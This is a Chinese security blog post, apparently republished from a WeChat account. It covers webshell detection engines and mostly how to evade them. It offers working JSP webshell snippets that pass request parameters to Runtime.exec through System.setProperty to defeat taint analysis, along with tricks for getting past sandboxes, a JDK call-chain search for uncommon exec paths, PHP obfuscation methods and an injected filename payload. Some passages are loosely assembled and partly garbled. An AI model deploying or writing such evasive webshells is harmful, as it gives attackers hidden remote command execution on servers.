webshell检测与对抗

admin 2024年5月26日19:27:08评论8 views字数 6146阅读20分29秒阅读模式

前情提要

qian qing ti yao
本来想着写一篇手工脱脱壳的,过几天搞个测试机
webshell检测引擎

静态检测

  1. 特征码分析:通过分析文件的签名或特定代码模式来识别Webshell。这包括检查文件的代码结构、使用的语言特性以及可能表明恶意活动的特征字符串。
  2. 代码结构分析:检测工具会解析PHP、ASPX、JSP等脚本文件中的抽象语法树(AST),根据不同的指标进行评分,以区分正常代码与潜在的Webshell。

动态检测

  1. 行为监控:监视脚本在执行时的行为,如文件操作、网络通信等,以识别异常活动。
  2. 运行时应用自我保护:例如,RASP(Runtime Application Self-Protection)技术,它在应用程序运行时实时监测和防御恶意行为。

技术对抗

  1. 编码变形:攻击者可能会对Webshell进行变形,比如改变参数传递方式(从POST变为GET)或调整代码结构(如使用花括号替代方括号)来绕过规则检测。
  2. 反取证:成熟的Webshell具有较强的反取证能力,可能通过加密、压缩、动态调用等手段来避开安全工具的检测。

机器学习

  1. 利用统计分析和机器学习算法,检测引擎可以根据历史数据和行为模式识别未知的Webshell变种。

java静态绕过方法

1.在Java中,最常见的执行外部命令的方法是使用Runtime类的exec()方法和ProcessBuilder类的start()方法。具体如下:

  1. Runtime.exec(): 这是Java提供的一个用于执行外部程序的便捷方法。它接受一个字符串参数,该参数是要执行的命令,或者可以传递一个字符串数组,其中包含要执行的命令及其参数。这个方法会返回一个Process对象,代表已经启动的进程。通过这个Process对象,你可以控制这个进程的输入、输出以及等待它的完成。
  2. ProcessBuilder.start(): ProcessBuilder类提供了一个更现代且灵活的方式来处理外部进程的创建和管理。使用ProcessBuilder,你可以设置命令及其参数,还可以重定向输入输出流。调用start()方法会启动一个新的进程,并返回代表该进程的Process对象。
  3. 反射调用:除了直接使用上述方法外,你还可以通过反射来手动调用这些方法,从而执行外部命令。这种方式通常用于更高级的技术场景,比如框架内部或特定工具的使用。

2.在Java中,调用Runtime类的exec()方法和ProcessBuilder类的start()方法通常用于执行外部命令。在Tabby(安装新版的时候要注意apoc插件版本,和csv文件中的/符号)中分别查找JDK17中调用了这两个方法的方,以下是如何调用这两个方法的调用途径:

  1. 使用Runtime.exec():

match path=(m1:Method)-[:CALL*..20]->(m2:Method{NAME:"exec",CLASSNAME:"Runtime"}) return path

webshell检测与对抗

webshell检测与对抗

这个判断是否公共类

com.sun.tools.jdi.RawCommandLineLauncher和com.sun.tools.jdi.SunCommandLineLauncher

com.sun.tools.jdi.AbstractLauncher的两个实现类是公共类

其他都不是

webshell检测与对抗

筛选了一下大概可以看到调用方法:

传参argument-CONNECTOR-com.sun.jdi.VirtualMachine launch(java.util.Map)-com.sun.tools.jdi.SunCommandLineLauncher-com.sun.tools.jdi.AbstractLauncher-$Helper-Runtime-EXEC

webshell检测与对抗

webshell检测与对抗

webshell检测与对抗

这里一般来说会被检测到,我们以此为基础搜寻一个不常用链路

webshell检测与对抗

  • com.sun.tools.example.debug.tty.VMConnection:这是一个内部类
  • jdk.jshell.execution.JdiInitiator:public类,并且其launch调用是在public构造方法中进行,显然jdk.jshell.execution.JdiInitiator很符合要求webshell如下:
  • webshell检测与对抗

  1. 使用ProcessBuilder.start():

match path=(m1:Method)-[:CALL*..20]->(m2:Method{NAME:"start",CLASSNAME:"java.lang.ProcessBuilder"}) return path

webshell检测与对抗

里面没有公共类
php静态绕过方法

PHP Webshell常用绕过静态检测的方法有以下几种:

  1. 使用编码器对Webshell进行编码,例如使用base64、hex等编码方式。在执行时,解码后再执行。

  2. 将Webshell代码分割成多个部分,分别存储在不同的文件中,然后在需要时通过include或require等方式引入。

  3. 使用动态函数名和变量名,例如将函数名和变量名设置为动态生成的字符串,以增加静态检测的难度。

  4. 使用反射API(Reflection)来动态调用函数和方法,从而避免直接调用敏感函数。

  5. 利用全局变量和超全局变量的特性,将Webshell代码存储在全局变量或超全局变量中,从而绕过静态检测。

  6. 使用反序列化漏洞,将Webshell代码序列化为字符串,然后将其反序列化为对象,从而绕过静态检测。

  7. 使用第三方库或框架的特性,例如利用Laravel框架的路由功能,将Webshell代码存储在路由文件或者系统文件中,从而绕过静态检测。(借鉴别人的https://mp.weixin.qq.com/s/CQjAcK1cJmXoRLRjw1peoQ):

1.Exception::getMessage + 还原字符串 绕过

2.通过将被检测值存入系统,然后再去取出

从Sqlite数据库文件中获取"system"

从目录获取"system"

5.4下的readline扩展绕过

动态沙盒绕过

针对动态沙箱的检测,如果可能让引擎在运行或者模拟运行时无法到达恶意代码的分支,则可以绕过。

使用反射机制来调用私有方法:


java复制代码运行
import java.lang.reflect.Method;
public class JavaWebShellDynamicSandboxBypass {
public static void main(String[] args) {
try {
// 加载目标类
Class<?> targetClass = Class.forName("com.example.JavaWebShell");

// 获取私有方法
Method privateMethod = targetClass.getDeclaredMethod("execute", String.class);

// 设置访问权限为可访问
privateMethod.setAccessible(true);

// 调用私有方法
Object result = privateMethod.invoke(targetClass.newInstance(), "ls -la");

// 输出结果
System.out.println("Result: " + result);
} catch (Exception e) {
e.printStackTrace();
}
}
}



可以使用if语句来检查某些条件是否满足,然后根据结果来决定是否执行恶意代码。这样,即使引擎在运行或模拟运行时无法到达恶意代码的分支,也可以绕过检测。

以下是一个示例:


java复制代码运行
import java.lang.reflect.Method;
public class JavaWebShellDynamicSandboxBypass {
public static void main(String[] args) {
try {
// 加载目标类
Class<?> targetClass = Class.forName("com.example.JavaWebShell");

// 获取私有方法
Method privateMethod = targetClass.getDeclaredMethod("execute", String.class);

// 设置访问权限为可访问
privateMethod.setAccessible(true);

// 调用私有方法
Object result = null;
if (args.length > 0 && args[0].equals("bypass")) {
result = privateMethod.invoke(targetClass.newInstance(), "ls -la");
} else {
result = privateMethod.invoke(targetClass.newInstance(), "echo 'Hello, World!'");
}

// 输出结果
System.out.println("Result: " + result);
} catch (Exception e) {
e.printStackTrace();
}
}

}

  • if-使用随机数

    <%
        Random r = new Random();
        int d1 = r.nextInt(2); 
        int d2 = r.nextInt(2);
        if (d1 == d2) {
            exec();
        } else {
    
        }
    %>
  • 利用异常捕获

    利用动态沙箱引擎无法准确判断并模拟用户的输入内容,进行绕过。

    <%
        try{
            if (request.getParameter("1")!=null){
                int a = 1/Integer.parseInt(request.getParameter("1"));
            }
        }catch ( NumberFormatException e){

    }catch (Exception e){
    exec();
    }
    %>

模拟污点分析绕过

污点分析是一种跟踪并且分析污点信息在程序中流动的技术。在漏洞分析的过程中,污点分析会将所有来自程序外部输入都标记成污点数据,然后跟踪和污点数据相关的信息流向,观察是否流向被定义好的sink点。

利用Java的语言特性误导引擎对方法调用的识别,可以通过以下几种方式实现:

  1. 重载(Overloading):在同一个类中定义多个同名方法,但参数列表不同。这样可以让引擎在解析方法调用时产生歧义,从而误导其识别。
        

java复制代码运行
public class MisleadEngine {
public void mislead(int a) {
System.out.println("Int: " + a);
}

public void mislead(String s) {
System.out.println("String: " + s);
}
}

  1. 可变参数(Varargs):使用可变参数可以创建多个重载方法,从而让引擎在解析方法调用时产生歧义。
        

java复制代码运行
public class MisleadEngine {
public void mislead(int... a) {
System.out.println("Int: " + Arrays.toString(a));
}

public void mislead(String... s) {
System.out.println("String: " + Arrays.toString(s));
}
}

  1. 泛型(Generics):使用泛型可以创建多个重载方法,从而让引擎在解析方法调用时产生歧义。
        

java复制代码运行
public class MisleadEngine<T> {
public void mislead(T t) {
System.out.println("Generic: " + t);
}
}

  1. 反射(Reflection):通过反射机制动态调用方法,可以创建多个重载方法,从而让引擎在解析方法调用时产生歧义。
        

java复制代码运行
public class MisleadEngine {
public void mislead(Object obj) throws Exception {
Method method = obj.getClass().getMethod("mislead");
method.invoke(obj);
}
}


5.利用System类的setPropertygetProperty方法进行参数的传递。引擎很难判断exec的参数System.getProprety("test")是来自用户输入的污点。


在Java Web应用程序中,攻击者可以通过以下方式将恶意代码注入到服务器上:

  1. 构造一个包含特殊字符的文件名,如test.php;rmi://localhost:1099/Exploit
  2. 使用System.setProperty方法将这个文件名保存到系统属性中,如System.setProperty("filename", "test.php;rmi://localhost:1099/Exploit");
  3. 在服务器端使用System.getProperty方法获取这个文件名,并执行相应的操作,如String filename = System.getProperty("filename");
  4. 由于这个文件名中包含了一个命令注入攻击的语句,当服务器解析文件名时,会将这个特殊字符作为命令的一部分执行。
  5. 攻击者可以通过这种方式绕过服务器的安全检查,成功上传包含恶意代码的文件。

同时也可以(参考https://mp.weixin.qq.com/s/nZBYQC_Mv2-F0WPcG__M6A)

利用System类的setPropertygetProperty方法进行参数的传递。引擎很难判断exec的参数System.getProprety("test")是来自用户输入的污点。

<%
    System.setProperty(request.getParameter("a"),request.getParameter("b"));
    Runtime.getRuntime().exec(System.getProperty("test"));
%>

一切出现字符串的地方都可以用request.getParameter代替。因此request.getParameter()的参数也可以递归放入request.getParameter(),并且最终也可以不使用硬编码的字符串,而是在系统中寻找一些字符串作为参数,加强混淆效果,例如:

<%
    System.setProperty(request.getParameter(request.getParameter(this.getClass().getName())),request.getParameter(request.getParameter(this.getClass().getPackage().getName())));
    Runtime.getRuntime().exec(System.getProperty(this.toString().substring(0,this.toString().indexOf("@"))));
%>                

原文始发于微信公众号(SQ安全渗透):webshell检测与对抗

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月26日19:27:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell检测与对抗http://cn-sec.com/archives/2779754.html

发表评论

匿名网友 填写信息